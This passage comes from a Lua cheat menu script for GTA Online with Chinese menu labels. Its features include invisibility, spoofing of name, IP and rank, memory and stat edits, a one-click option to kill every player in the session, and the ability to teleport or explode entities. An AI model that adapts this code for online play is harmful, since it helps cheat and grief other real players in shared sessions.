				if orbital_cannon_map_pos_x >= -10000 and orbital_cannon_map_pos_x <= 10000 then
					orbital_cannon_map_pos_x = orbital_cannon_map_pos_x + 2
				else
					orbital_cannon_map_pos_x = 0
				end
			end
			if PAD.IS_DISABLED_CONTROL_PRESSED(2, 139) then
				if orbital_cannon_map_pos_y >= -10000 and orbital_cannon_map_pos_y <= 10000 then
					orbital_cannon_map_pos_y = orbital_cannon_map_pos_y - 2
				else
					orbital_cannon_map_pos_y = 0
				end
			end
			if PAD.IS_DISABLED_CONTROL_PRESSED(2, 15) then
				if orbital_cannon_map_zoom >= 0 and orbital_cannon_map_zoom <= 2 then
					orbital_cannon_map_zoom = orbital_cannon_map_zoom + 0.05
				else
					orbital_cannon_map_zoom = 0
				end
			end
			if PAD.IS_DISABLED_CONTROL_PRESSED(2, 14) then
				if orbital_cannon_map_zoom >= 0 and orbital_cannon_map_zoom <= 2 then
					orbital_cannon_map_zoom = orbital_cannon_map_zoom - 0.05
				else
					orbital_cannon_map_zoom = 0
				end
			end
        	GRAPHICS.DRAW_SCALEFORM_MOVIE_FULLSCREEN(orbital_cannon_map_scaleform, 255, 255, 255, 255, 0)
			GRAPHICS.BEGIN_SCALEFORM_MOVIE_METHOD(orbital_cannon_map_scaleform, "MOVE_TO")
			GRAPHICS.SCALEFORM_MOVIE_METHOD_ADD_PARAM_INT(orbital_cannon_map_pos_x)
			GRAPHICS.SCALEFORM_MOVIE_METHOD_ADD_PARAM_INT(orbital_cannon_map_pos_y)
        	GRAPHICS.END_SCALEFORM_MOVIE_METHOD(orbital_cannon_map_scaleform)
			GRAPHICS.BEGIN_SCALEFORM_MOVIE_METHOD(orbital_cannon_map_scaleform, "ZOOM_TO")
			GRAPHICS.SCALEFORM_MOVIE_METHOD_ADD_PARAM_FLOAT(orbital_cannon_map_zoom)
			GRAPHICS.END_SCALEFORM_MOVIE_METHOD(orbital_cannon_map_scaleform)
			if PAD.IS_DISABLED_CONTROL_PRESSED(2, 24) then
				orbital_cannon_map_is_charging = true
			else
				orbital_cannon_map_is_charging = false
				orbital_cannon_map_time = 0
			end
			if orbital_cannon_map_is_charging then
				if not orbital_cannon_map_is_shooting then
					GRAPHICS.BEGIN_SCALEFORM_MOVIE_METHOD(orbital_cannon_map_scaleform, "START_COUNTDOWN")
					GRAPHICS.END_SCALEFORM_MOVIE_METHOD(orbital_cannon_map_scaleform)
				end
				orbital_cannon_map_is_shooting = true
				orbital_cannon_map_time = orbital_cannon_map_time + 1
			else
				if orbital_cannon_map_is_shooting then
					GRAPHICS.BEGIN_SCALEFORM_MOVIE_METHOD(orbital_cannon_map_scaleform, "CANCEL_ANIMATION")
					GRAPHICS.END_SCALEFORM_MOVIE_METHOD(orbital_cannon_map_scaleform)
				end
				orbital_cannon_map_is_shooting = false
				orbital_cannon_map_time = 0
			end
			if orbital_cannon_map_time >= 499 then
				local success, float = get_ground_z(v3(orbital_cannon_map_pos_x, orbital_cannon_map_pos_y, ENTITY.GET_ENTITY_COORDS(players.user()).z + 25))
				local pos_real = get_v3_of_v2(v2(orbital_cannon_map_pos_x, orbital_cannon_map_pos_y))
				if success then
					pos_real = v3(orbital_cannon_map_pos_x, orbital_cannon_map_pos_y, float + 1)
				else
					pos_real = get_v3_of_v2(v2(orbital_cannon_map_pos_x, orbital_cannon_map_pos_y))
				end
				GRAPHICS.USE_PARTICLE_FX_ASSET("scr_xm_orbital")
				while not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED("scr_xm_orbital") do
					STREAMING.REQUEST_NAMED_PTFX_ASSET("scr_xm_orbital")
					wait()
				end
				AUDIO.PLAY_SOUND_FROM_COORD(1, "DLC_XM_Explosions_Orbital_Cannon", pos_real, 0, true, 0, false)
				FIRE.ADD_EXPLOSION(pos_real.x,pos_real.y,pos_real.z, 59, true, false, 1, players.user_ped())
				GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD("scr_xm_orbital_blast", pos_real.x,pos_real.y,pos_real.z, v3(0, 180, 0), 1, true, true, true)
				orbital_cannon_map_time = 0
			end
   		end
            orbital_cannon_map_is_charging = false
            orbital_cannon_map_is_shooting = false
            orbital_cannon_map_time = 0
            orbital_cannon_map_zoom = 0
            orbital_cannon_map_pos_x = 0
            orbital_cannon_map_pos_y = 0
            ENTITY.FREEZE_ENTITY_POSITION(players.user_ped(), false)
            set_scaleform_movie_as_no_longer_needed(orbital_cannon_map_scaleform)
            pcall(ENTITY.SET_ENTITY_COORDS, players.user_ped(), old_pos.x,old_pos.y,old_pos.z, false, false)
    end)

    GTTG(helperingame, "人间蒸发", {"renwuxiaoshi"}, "开启人间蒸发",
    function(state)
        GTLuaScript.trigger_command(GTLuaScript.ref_by_path("Self>Appearance>Invisibility>" .. (state and "Enabled" or "Disabled"), 38))
        GTLuaScript.set_value(GTLuaScript.ref_by_path("Online>Off The Radar", 38), state)
        announce("幽灵模式 " .. (state and "On" or "Off"))
    end
    )
    togglestate = false

GTLP(helperingame, "假死雷达", {"undeadotr"}, "隐藏小地图(雷达)位置", function()
    undead()
end, function ()
	ENTITY.SET_ENTITY_MAX_HEALTH(players.user_ped(), maxHealth_cantseeyouinmap)
end)

php_bars = false
GTTG(helperingame, "NPC血条", {"pedhpbars"}, "在NPC上方显示血量数值", function(on)
php_bars = on
mod_uses("ped", if on then 1 else -1)
if vhp_bars and on then
    notification("警告:您同时打开了车辆HP指示条。由于引擎限制,某些HP条形图可能无法渲染", colors.blue)
end
end)

vhp_bars = false
GTTG(helperingame, translate("Self", "载具血条"), {}, "在载具上方显示血量数值", function(on)
    vhp_bars = on
    mod_uses("vehicle", if on then 1 else -1)
    if php_bars and on then
        notification(vehicle_hp_bars_warn)
    end
end)

GTLP(helperingame, "刑事毁坏", {""}, "", function(on)
    if SCRIPT.GET_NUMBER_OF_THREADS_RUNNING_THE_SCRIPT_WITH_THIS_HASH(util.joaat("am_criminal_damage")) ~= 0 then
        if memory.read_int(memory.script_local("am_criminal_damage", 2040 + 1+players.user()*7 + 2)) == 3 then
            hash = util.joaat('titan')
            local c = {}
            c.x = 4497.2207
            c.y = 8028.3086
            c.z = -32.635174
            request_model_load(hash) 
            local v = entities.create_vehicle(hash, c, math.random(0, 270))
            if v ~= 0 then
                PED.SET_PED_INTO_VEHICLE(players.user_ped(), v, -1)
                while not ENTITY.IS_ENTITY_IN_WATER(v) or not PED.IS_PED_IN_VEHICLE(players.user_ped(), v, false) do
                    wait()
                end
                wait(5)
                entities.delete_by_handle(v)
            end
        end
    end
end)

GTLP(helperingame, "检查点收集", {""}, "", function(cp_speedrun_on)
    if SCRIPT.GET_NUMBER_OF_THREADS_RUNNING_THE_SCRIPT_WITH_THIS_HASH(util.joaat("am_cp_collection")) ~= 0 then
        local cp_blip = HUD.GET_NEXT_BLIP_INFO_ID(431)
        if cp_blip ~= 0 then
            local c = HUD.GET_BLIP_COORDS(cp_blip)
            ENTITY.SET_ENTITY_COORDS(players.user_ped(), c.x, c.y, c.z, false, false, false, false)
        end
    end
end)

util.on_transition_finished(function()
    if random_name_spoof then
        GTLuaScript.trigger_commands("spoofedname " .. random_string(16))
    end
    if random_ip_spoof then
        GTLuaScript.trigger_commands("spoofedip " .. random_ip_address())
    end
    if random_rank_spoof then
        GTLuaScript.trigger_commands("spoofedrank " .. math.random(10000))
    end
end)

GTLP(helperingame, "强制可见", {"forcevisible"}, "", function()
for _, pid in players.list(false) do
local ped = PLAYER.GET_PLAYER_PED(pid)
if not ENTITY.IS_ENTITY_VISIBLE(ped) then
ENTITY.SET_ENTITY_VISIBLE(ped, true)
end
end
end)

zhanju = GT(helperingame, "战局状态", {}, "更改战局状态可能会造成游戏短时间无响应,等待恢复即可,不会造成崩溃")
GTAC(zhanju, '故事模式', {""}, '', function ()
menu.trigger_commands("worldstate storymode")
end)
GTAC(zhanju, '线上模式', {""}, '', function ()
menu.trigger_commands("worldstate online")
end)
GTAC(zhanju, '佩里科海岛', {""}, '', function ()
menu.trigger_commands("worldstate island")
end)

local maxps = GT(helperingame, "战局管控", {}, "")

GTLuaScript.slider(maxps, "设置战局玩家上限", {}, "只有你是战局主机时才生效", 1, 32, 32, 1, function (value)
    if Stand_internal_script_can_run then
        NETWORK.NETWORK_SESSION_SET_MATCHMAKING_GROUP_MAX(0, value)
        util.toast("free slots",NETWORK.NETWORK_SESSION_GET_MATCHMAKING_GROUP_FREE(0))
    end
end)
GTLuaScript.slider(maxps, "设置战局观众上限", {}, "只有你是战局主机时才生效", 0, 2, 2, 1, function (value)
    if Stand_internal_script_can_run then
        NETWORK.NETWORK_SESSION_SET_MATCHMAKING_GROUP_MAX(4, value)
        util.toast("free slots",NETWORK.NETWORK_SESSION_GET_MATCHMAKING_GROUP_FREE(4))
    end
end)

PEDEVENT = GT(helperingame, "NPC管控", {}, "")
GTLP(PEDEVENT, "新生成的NPC携带零食", {}, "", function()
    WIRI_PED.SET_HEALTH_SNACKS_CARRIED_BY_ALL_NEW_PEDS(1.0, 99)
end)
GTLP(PEDEVENT, "周围NPC死亡时掉钱", {},
    "设置NPC在被杀时是否会掉落金钱。这在自由模式中默认关闭.", function()
    WIRI_PED.SET_AMBIENT_PEDS_DROP_MONEY(true)
end)
GTLP(PEDEVENT, "阻止周围NPC临时事件", {},
    "阻止此环境中环境NPC的临时事件。\n不包括执法人员，比如警察", function()
    WIRI_PED.SET_BLOCKING_OF_NON_TEMPORARY_EVENTS_FOR_AMBIENT_PEDS_THIS_FRAME(true)
end)
GTLP(PEDEVENT, "周围执法NPC降低精准度", {},
    "让执法的NPC射击准心偏差，比如警察，这只会在自由模式生效", function()
    WIRI_PED.SET_AMBIENT_LAW_PED_ACCURACY_MODIFIER(0.0)
end)
  
muplyid = players.user()
my_name = PLAYER.GET_PLAYER_NAME(muplyid)
my_scid = players.get_rockstar_id(muplyid)
my_ip = intToIp(players.get_connect_ip(muplyid))
my_host_token = players.get_host_token(muplyid)
get_player_model = function (pid)
return int_to_uint(ENTITY.GET_ENTITY_MODEL(PLAYER.GET_PLAYER_PED(pid)))
end
my_model= get_player_model(muplyid)
my_health = ENTITY.GET_ENTITY_HEALTH(PLAYER.GET_PLAYER_PED(pid))

GTAC(helperingame, "获取我的信息",  {""}, "在通知栏中显示您当前信息", function(state)
if state then
util.toast("你的玩家身份是 "..muplyid.."")
util.toast("你的用户名是 "..my_name.."")
util.toast("您的RID是 "..my_scid.."")
util.toast("您的 IP 是 "..my_ip.."")
util.toast("您的主机令牌是 "..my_host_token.."")
util.toast("您的玩家哈希模型是 "..my_model.."")
util.toast("您的健康才是 "..my_health.."")
end
end)  

GTAC(helperingame, "修复错误",  {""}, "", function(f)
	if players.exists(players.user()) then
		local max_health = ENTITY.GET_ENTITY_MAX_HEALTH(PLAYER.GET_PLAYER_PED(pid))
		local health = ENTITY.GET_ENTITY_HEALTH(PLAYER.GET_PLAYER_PED(pid))
        ENTITY.SET_ENTITY_HEALTH(players.user_ped(players.user()), 0)
		wait(100)
		PED.RESURRECT_PED(players.user_ped(players.user()))
		PED.SET_PED_MAX_HEALTH(players.user_ped(players.user()), max_health)
		ENTITY.SET_ENTITY_HEALTH(players.user_ped(players.user()), health)
		TASK.CLEAR_PED_TASKS_IMMEDIATELY(players.user_ped(players.user()))
	end
end)

GTLP(helperingame, "快速重生", {"fastrespawn"}, "", function()
    local gwobaw = memory.script_global(2672505 + 1685 + 756) -- Global_2672505.f_1685.f_756
    if PED.IS_PED_DEAD_OR_DYING(players.user_ped()) then
        GRAPHICS.ANIMPOSTFX_STOP_ALL()
        memory.write_int(gwobaw, memory.read_int(gwobaw) | 1 << 1)
    end
end,
    function()
    local gwobaw = memory.script_global(2672505 + 1685 + 756)
    memory.write_int(gwobaw, memory.read_int(gwobaw) &~ (1 << 1)) 
end)

roll_speed = nil
GTLuaScript.list_select(helperingame, "翻滚速度", {}, "", {"正常", "1.25x", "1.5x", "1.75x", "2x"}, 1, function(index, value)
roll_speed = index
util.create_tick_handler(function()
    switch value do
        case "1.25x":
            STATS.STAT_SET_INT(util.joaat("MP"..util.get_char_slot().."_SHOOTING_ABILITY"), 115, true)
            break
        case "1.5x":
            STATS.STAT_SET_INT(util.joaat("MP"..util.get_char_slot().."_SHOOTING_ABILITY"), 125, true)
            break
        case "1.75x":
            STATS.STAT_SET_INT(util.joaat("MP"..util.get_char_slot().."_SHOOTING_ABILITY"), 135, true)
            break
        case "2x":
            STATS.STAT_SET_INT(util.joaat("MP"..util.get_char_slot().."_SHOOTING_ABILITY"), 150, true)
            break
        end
        return roll_speed == index
    end)
end)

infibounty_amt = 10000
GTLuaScript.slider(helperingame, "赏金金额", {}, "", 0, 10000, 10000, 1, function(s)
    infibounty_amt = s
  end)

GTLP(helperingame, "赏金开启", {}, "", function(click_type)
    wait(60000)
end)

GTAC(helperingame, '获得牛鲨睾酮', {""}, '', function ()
menu.trigger_commands("bstonce")
end)

GTAC(helperingame, "虐待动物", {}, "爆炸所有附近的动物", function()
    animalFound = false
    for i, aPed in pairs(entities.get_all_peds_as_handles()) do 
       if PED.IS_PED_HUMAN(aPed) ~= true then 
        animalFound = true
        local pedPos = ENTITY.GET_ENTITY_COORDS(aPed)
        FIRE.ADD_EXPLOSION(pedPos.x, pedPos.y, pedPos.z, 0, 1, true, false, 0, false)
       end
    end
    if animalFound == false then 
        util.toast("动物被发现了")
    end
end)

GTLP(helperingame, "下车时关闭无敌模式", {""}, "", function()
    if not ENTITY.GET_ENTITY_CAN_BE_DAMAGED(entities.get_user_vehicle_as_handle()) then
        if not PED.IS_PED_IN_ANY_VEHICLE(players.user_ped(), false) then
            ENTITY.SET_ENTITY_CAN_BE_DAMAGED(PED.GET_VEHICLE_PED_IS_IN(players.user_ped(), true), true)
        end
    end
end)

GTLP(helperingame, "快速更换武器", {"fasthands"}, "武器更换速度更快.", function()
    if TASK.GET_IS_TASK_ACTIVE(players.user_ped(), 56) then
        PED.FORCE_PED_AI_AND_ANIMATION_UPDATE(players.user_ped())
    end
end)

GTLP(helperingame, "快速热启动", {""}, "", function()
    if not VEHICLE.GET_IS_VEHICLE_ENGINE_RUNNING(entities.get_user_vehicle_as_handle()) and TASK.GET_IS_TASK_ACTIVE(players.user_ped(), 150) then
        PED.FORCE_PED_AI_AND_ANIMATION_UPDATE(players.user_ped())
    end
end)

GTLP(helperingame, "达克斯冷却", {}, "跳过达克斯工作的冷却时间", function() -- thx icedoomfist for the state name <3
    STATS.STAT_SET_INT(util.joaat("MP"..util.get_char_slot().."_XM22JUGGALOWORKCDTIMER"), -1, true)
end)

local modifier = 1.00
GTLuaScript.slider_float(helperingame, "近战伤害修改", {"meleedamage"}, "", 100, 1000, 100, 10, function(value)
    modifier = value / 100
    PLAYERJINX.SET_PLAYER_MELEE_WEAPON_DAMAGE_MODIFIER(players.user(), modifier)
end)
	
local language_codes_by_enum = {
    [0]= "en-us",
    [1]= "fr-fr",
    [2]= "de-de",
    [3]= "it-it",
    [4]= "es-es",
    [5]= "pt-br",
    [6]= "pl-pl",
    [7]= "ru-ru",
    [8]= "ko-kr",
    [9]= "zh-tw",
    [10] = "ja-jp",
    [11] = "es-mx",
    [12] = "zh-cn"
}

GTAC(helperingame, "杀死全部NPC", {}, "", function()
    local counter = 0
    for _, ped in ipairs(entities.get_all_peds_as_handles()) do
        if HUD.GET_BLIP_COLOUR(HUD.GET_BLIP_FROM_ENTITY(ped)) == 1 or TASK.GET_IS_TASK_ACTIVE(ped, 352) then 
            ENTITY.SET_ENTITY_HEALTH(ped, 0)
            counter += 1
            wait()
        end
    end
    if counter == 0 then
        util.toast("没有发现NPC. :/")
    else
        util.toast("杀死 ".. tostring(counter) .." NPC.")
    end
end)

GTAC(helperingame, "无声杀害", {"killeveryone"}, "无声地杀死所有人", function()
    for k,v in pairs(players.list(false, true, true)) do
        kill_player(v)
        wait()
    end
end)

GTAC(helperingame, translate("Self", "爆炸自己"), {"explodemyself"}, "", function()
	local pos = ENTITY.GET_ENTITY_COORDS(players.user_ped(), false)
	pos.z = pos.z - 1.0
	FIRE.ADD_OWNED_EXPLOSION(players.user_ped(), pos.x, pos.y, pos.z, 0, 1.0, true, false, 1.0)
end)

GTTG(helperingame,"屏幕渲染", {}, "", function(on)
    xcpm(on)
end)

local roll_speed = nil
GTLuaScript.list_select(helperingame, "战斗翻滚速度", {}, "", {"默认", "1.25x", "1.5x", "1.75x", "2x"}, 1, function(index, value)
roll_speed = index
util.create_tick_handler(function()
    switch value do
        case "1.25x":
            STATS.STAT_SET_INT(util.joaat("MP"..util.get_char_slot().."_SHOOTING_ABILITY"), 115, true)
            break
        case "1.5x":
            STATS.STAT_SET_INT(util.joaat("MP"..util.get_char_slot().."_SHOOTING_ABILITY"), 125, true)
            break
        case "1.75x":
            STATS.STAT_SET_INT(util.joaat("MP"..util.get_char_slot().."_SHOOTING_ABILITY"), 135, true)
            break
        case "2x":
            STATS.STAT_SET_INT(util.joaat("MP"..util.get_char_slot().."_SHOOTING_ABILITY"), 150, true)
            break
        end
        return roll_speed == index
    end)
end)

GTAC(helperingame, "传送安全代码", {}, "传送机构任务中的安全密码 (tequi-la-la, stripclub)", function()
    local objTable = entities.get_all_objects_as_pointers()
    local lookingFor = 367638847 
    for i = 1, #objTable do
        if entities.get_model_hash(objTable[i]) == lookingFor then
            local h = entities.pointer_to_handle(objTable[i])
            local ppos = getEntityCoords(GetLocalPed())
            ENTITY.SET_ENTITY_COORDS(h, ppos.x, ppos.y, ppos.z, false, false, false, false)
            break
        end
    end
end)

GTLP(helperingame, "透视无人机 (试验)", {}, "", function ()
    local objs = entities.get_all_objects_as_pointers()
    for _, obj in pairs(objs) do
        if (entities.get_model_hash(obj) == 430841677) or (entities.get_model_hash(obj) == -1324942671) then 
            local pos = entities.get_position(obj)
            local ourpedpos = getEntityCoords(GetLocalPed())
            GRAPHICS.DRAW_LINE(ourpedpos.x, ourpedpos.y, ourpedpos.z, pos.x, pos.y, pos.z, 255, 255, 255, 255)
        end
    end
end)

editGuns = GT(helperingame, "工具枪", {}, "")

attachGun = GT(editGuns, "附加枪 (非物理)", {}, "附加枪的设置, 将实体附加到实体.")
attach_gun = {
    e1 = 0, e2 = 0,
    bone = 0,
    px = 0, py = 0, pz = 0,
    rx = 0, ry = 0, rz = 0,
    softPinning = false, collision = false,
    vertexIndex = 0, fixedRot = true
}
GTD(attachGun, "------")
GTLP(attachGun, "开启", {"attachgun"}, "以非物理方式将实体附加到实体 (没有PED).", function ()
    if attach_gun.e1 == 0 then util.draw_debug_text("移动1") elseif attach_gun.e2 == 0 then util.draw_debug_text("移动2") end
    if PLAYER.IS_PLAYER_FREE_AIMING(players.user()) then
        if PAD.IS_CONTROL_JUST_PRESSED(0, 54) then 
            local entpointer = memory.alloc()
            util.toast("分配.")
            if PLAYER.GET_ENTITY_PLAYER_IS_FREE_AIMING_AT(players.user(), entpointer) then
                local handle = memory.read_int(entpointer)
                if ENTITY.IS_ENTITY_A_PED(handle) then handle = PED.GET_VEHICLE_PED_IS_IN(handle, false) end
                if attach_gun.e1 == 0 then
                    attach_gun.e1 = handle
                    ENTITY.SET_ENTITY_AS_MISSION_ENTITY(handle)
                elseif attach_gun.e2 == 0 then
                    if attach_gun.e1 == handle then util.toast("不能有相同的实体!") else
                        attach_gun.e2 = handle
                        ENTITY.SET_ENTITY_AS_MISSION_ENTITY(handle)
                        util.toast("附加完成!")
                        local en1 = attach_gun.e1
                        local en2 = attach_gun.e2
                        ENTITY.ATTACH_ENTITY_TO_ENTITY(en1, en2, attach_gun.bone, attach_gun.px, attach_gun.py, attach_gun.pz, attach_gun.rx, attach_gun.ry, attach_gun.rz, false,
                        attach_gun.softPinning, attach_gun.collision, false, attach_gun.vertexIndex, attach_gun.fixedRot)
                        attach_gun.e1 = 0
                        attach_gun.e2 = 0
                    end
                end
            end
            util.toast("释放.")
            memory.free(entpointer)
        end
    end
end)

GTD(attachGun, "设置")
GTLuaScript.slider(attachGun, "骨骼位置", {"attachGunbone"}, "附枪骨骼位置.仅限高级用户!", -100000, 100000, 0, 1, function(value) attach_gun.bone = value end)
GTLuaScript.slider(attachGun, "X 偏移", {"attachGunxoffset"}, "", -10000, 10000, 0, 100, function (value) attach_gun.px = value/100 end);menu.slider(attachGun, "Y 偏移", {"attachGunyoffset"}, "", -10000, 10000, 0, 100, function (value) attach_gun.py = value/100 end);menu.slider(attachGun, "Z 偏移", {"attachGunzoffset"}, "", -10000, 10000, 0, 100, function (value) attach_gun.pz = value/100 end)
GTLuaScript.slider(attachGun, "X 旋转", {"attachGunrotx"}, "", -360, 360, 0, 10, function (value) attach_gun.rx = value end); menu.slider(attachGun, "Y 旋转", {"attachGunroty"}, "", -360, 360, 0, 10, function (value) attach_gun.ry = value end); menu.slider(attachGun, "Z 旋转", {"attachGunrotz"}, "", -360, 360, 0, 10, function (value) attach_gun.rz = value end)
GTTG(attachGun, "软连接", {"attachGunsoftpinning"}, "如果设置为关闭,则固定时附加实体不会分离.", function (toggle) attach_gun.softPinning = toggle end)
GTTG(attachGun, "碰撞", {"attachGuncollision"}, "控制两个实体之间的碰撞. 设置关闭则是禁用碰撞.", function (toggle) attach_gun.collision = toggle end)
GTLuaScript.slider(attachGun, "顶点位置", {"attachGunvertex"}, "仅限高级用户!顶点位置.", -100000, 100000, 0, 1, function (value) attach_gun.vertexIndex = value end)
GTTG(attachGun, "固定旋转", {"attachGunfixedrot"}, "如果为关闭，则忽略实体向量.", function (toggle) attach_gun.fixedRot = toggle end, true)


p_AttachGun = GT(editGuns, "附加枪 (物理)", {}, "Attach gun that uses ATTACH_ENTITY_TO_ENTITY_PHYSICALLY, making entites have collision with each other.")
p_attach_gun = {
    e1 = 0, e2 = 0,
    bone1 = 0, bone2 = 0,
    px1 = 0, py1 = 0, pz1 = 0,
    px2 = 0, py2 = 0, pz2 = 0,
    rx = 0, ry = 0, rz = 0,
    breakforce = 200, fixedRot = true,
    collision = true, dontTPToBone = true,
}
GTD(p_AttachGun, "------")
GTLP(p_AttachGun, "开启", {"pattachgun"}, "以物理方式将实体连接到实体(无ped).", function ()
    if p_attach_gun.e1 == 0 then util.draw_debug_text("移动1") elseif p_attach_gun.e2 == 0 then util.draw_debug_text("移动2") end
    if PLAYER.IS_PLAYER_FREE_AIMING(players.user()) then
        if PAD.IS_CONTROL_JUST_PRESSED(0, 54) then -- 54 || INPUT_WEAPON_SPECIAL_TWO || E
            local entpointer = memory.alloc()
            util.toast("分配.")
            if PLAYER.GET_ENTITY_PLAYER_IS_FREE_AIMING_AT(players.user(), entpointer) then
                local handle = memory.read_int(entpointer)
                if ENTITY.IS_ENTITY_A_PED(handle) then handle = PED.GET_VEHICLE_PED_IS_IN(handle, false) end
                if p_attach_gun.e1 == 0 then
                    p_attach_gun.e1 = handle
                    ENTITY.SET_ENTITY_AS_MISSION_ENTITY(handle)
                elseif p_attach_gun.e2 == 0 then
                    if p_attach_gun.e1 == handle then util.toast("不能有相同的实体!") else
                        p_attach_gun.e2 = handle
                        ENTITY.SET_ENTITY_AS_MISSION_ENTITY(handle)
                        util.toast("附加完成!")
                        ENTITY.ATTACH_ENTITY_TO_ENTITY_PHYSICALLY(p_attach_gun.e1, p_attach_gun.e2,
                        p_attach_gun.bone1, p_attach_gun.bone2,
                        p_attach_gun.px1, p_attach_gun.py1, p_attach_gun.pz1, p_attach_gun.px2, p_attach_gun.py2, p_attach_gun.pz2,
                        p_attach_gun.rx, p_attach_gun.ry, p_attach_gun.rz,
                        p_attach_gun.breakforce, p_attach_gun.fixedRot, true, p_attach_gun.collision, p_attach_gun.dontTPToBone, 2)
                        p_attach_gun.e1 = 0
                        p_attach_gun.e2 = 0
                    end
                end
            end
            util.toast("释放.")
            memory.free(entpointer)
        end
    end
end)
GTD(p_AttachGun, "设置")
GTLuaScript.slider(p_AttachGun, "骨骼位置 1", {"pattachbone1"}, "仅限高级用户!", -100000, 100000, 0, 1, function (value) p_attach_gun.bone1 = value end) menu.slider(p_AttachGun, "骨骼位置 2", {"pattachbone2"}, "仅限高级用户!", -100000, 100000, 0, 1, function (value) p_attach_gun.bone2 = value end)
GTLuaScript.slider(p_AttachGun, "X 偏移 1", {"pattachx1"}, "X 偏移: 实体 1", -100000, 100000, 0, 100, function (value) p_attach_gun.px1 = value/100 end) menu.slider(p_AttachGun, "Y 偏移 1", {"pattachy1"}, "Y 偏移: 实体 1", -100000, 100000, 0, 100, function (value) p_attach_gun.py1 = value/100 end) menu.slider(p_AttachGun, "Z 偏移 1", {"pattachz1"}, "Z 偏移: 实体 1", -100000, 100000, 0, 100, function (value) p_attach_gun.pz1 = value/100 end)
GTLuaScript.slider(p_AttachGun, "X 偏移 2", {"pattachx2"}, "X 偏移: 实体 2", -100000, 100000, 0, 100, function (value) p_attach_gun.px2 = value/100 end) menu.slider(p_AttachGun, "Y 偏移 2", {"pattachy2"}, "Y 偏移: 实体 2", -100000, 100000, 0, 100, function (value) p_attach_gun.py2 = value/100 end) menu.slider(p_AttachGun, "Z 偏移 2", {"pattachz2"}, "Z 偏移: 实体 2", -100000, 100000, 0, 100, function (value) p_attach_gun.pz2 = value/100 end)
GTLuaScript.slider(p_AttachGun, "X 旋转", {"pattachxrot"}, "", -360, 360, 0, 10, function (value) p_attach_gun.rx = value end) menu.slider(p_AttachGun, "Y 旋转", {"pattachyrot"}, "", -360, 360, 0, 10, function (value) p_attach_gun.ry = value end) menu.slider(p_AttachGun, "Z 旋转", {"pattachzrot"}, "", -360, 360, 0, 10, function (value) p_attach_gun.rz = value end)
GTLuaScript.slider(p_AttachGun, "断裂力", {"pattachbreakforce"}, "打破这种结合所需的力量.", 0, 100000, 200, 100, function (value) p_attach_gun.breakforce = value end)
GTTG(p_AttachGun, "固定旋转", {"pattachfixedrot"}, "如果为关闭，则忽略实体向量.", function (toggle) p_attach_gun.fixedRot = toggle end, true)
GTTG(p_AttachGun, "碰撞", {"pattachcollision"}, "控制两个实体之间的碰撞. 设置关闭则是禁用碰撞.", function (toggle) p_attach_gun.collision = toggle end, true)
GTTG(p_AttachGun, "不传送到骨骼位置", {"pattachdonttptobone"}, "不要将实体传送到目标实体骨骼索引的位置.", function (toggle) p_attach_gun.dontTPToBone = toggle end, true)

toolFeats = GT(entity_options, "控制器", {}, "", function(); end)

entitymanagerlist = GT(lobbyFeats, "天眼黑客面板", {}, "管理玩家附近的NPC/载具/物体")
require "lib.GTSCRIPTS.GTA.hack"

adminworld = GT(lobbyFeats, "控制任务实体", {}, "")
require "lib.GTSCRIPTS.GTA.admin"

-------------------
-- 交通人口密度
-------------------
Population_Density = GT(lobbyFeats, "交通人口密度", {}, "控制交通")

GTAC(Population_Density, "立刻充满行人", { "fill_ped_population" }, "", function()
    PED.INSTANTLY_FILL_PED_POPULATION()
end)
GTAC(Population_Density, "立刻充满交通", { "fill_vehicle_population" }, "", function()
    VEHICLE.INSTANTLY_FILL_VEHICLE_POPULATION()
end)
-----
Population_Density_Frame = GT(Population_Density, "设置交通人口密度", {}, "")
population_density_frame = {
    ped = 1.0,
    random_vehicle = 1.0,
    parked_vehicle = 1.0,
}

GTLP(Population_Density_Frame, "开启", {}, "", function()
    PED.SET_PED_DENSITY_MULTIPLIER_THIS_FRAME(population_density_frame.ped)
    VEHICLE.SET_RANDOM_VEHICLE_DENSITY_MULTIPLIER_THIS_FRAME(population_density_frame.random_vehicle)
    VEHICLE.SET_PARKED_VEHICLE_DENSITY_MULTIPLIER_THIS_FRAME(population_density_frame.parked_vehicle)
end)
GTLuaScript.slider_float(Population_Density_Frame, "行人", { "population_density_frame_ped" }, "",
    0, 100, 100, 10, function(value)
    population_density_frame.ped = value * 0.01
end)
GTLuaScript.slider_float(Population_Density_Frame, "交通车辆", { "population_density_frame_random_vehicle" }, "",
    0, 100, 100, 10, function(value)
    population_density_frame.random_vehicle = value * 0.01
end)
GTLuaScript.slider_float(Population_Density_Frame, "停泊车辆", { "population_density_frame_parked_vehicle" }, "",
    0, 100, 100, 10, function(value)
    population_density_frame.parked_vehicle = value * 0.01
end)

-----
local Population_Density_Sphere = GT(Population_Density, "覆盖交通人口密度", {},
    "添加一个新的交通人口密度范围覆盖当前交通人口密度")
local population_density_sphere = {
    id = 0,
    pedDensity = 1.0,
    trafficDensity = 1.0,
    localOnly = false,
}

GTTG(Population_Density_Sphere, "覆盖范围", {}, "切换战局后会失效，需要重新操作",
    function(toggle)
        if toggle then
            population_density_sphere.id = MISC.ADD_POP_MULTIPLIER_SPHERE(1.1, 1.1, 1.1, 15000.0,
                population_density_sphere.pedDensity
                , population_density_sphere.trafficDensity, population_density_sphere.localOnly, true)
            MISC.CLEAR_AREA(1.1, 1.1, 1.1, 19999.9, true, false, false, true)
        else
            if MISC.DOES_POP_MULTIPLIER_SPHERE_EXIST(population_density_sphere.id) then
                MISC.REMOVE_POP_MULTIPLIER_SPHERE(population_density_sphere.id, false)
            end
        end
    end)
GTD(Population_Density_Sphere, "设置")
GTLuaScript.slider_float(Population_Density_Sphere, "人口密度", { "population_density_sphere_pedDensity" }, "",
    0, 100, 100, 10, function(value)
    population_density_sphere.pedDensity = value * 0.01
end)
GTLuaScript.slider_float(Population_Density_Sphere, "交通密度", { "population_density_sphere_trafficDensity" }, "",
    0, 100, 100, 10, function(value)
    population_density_sphere.trafficDensity = value * 0.01
end)
GTTG(Population_Density_Sphere, "仅本地有效", {}, "", function(toggle)
    population_density_sphere.localOnly = toggle
end)

teleport = GT(lobbyFeats, "位置传送", {}, "", function(); end)
teleport_place()
local snow_loca = GT(teleport, "雪人位置", {}, "")
for idx, coords in snowmens do
    snow_loca:action("雪人 " .. idx, {}, "传送到圣诞雪人", function()
        util.teleport_2d(coords[1], coords[2])
    end)
end

util.keep_running()

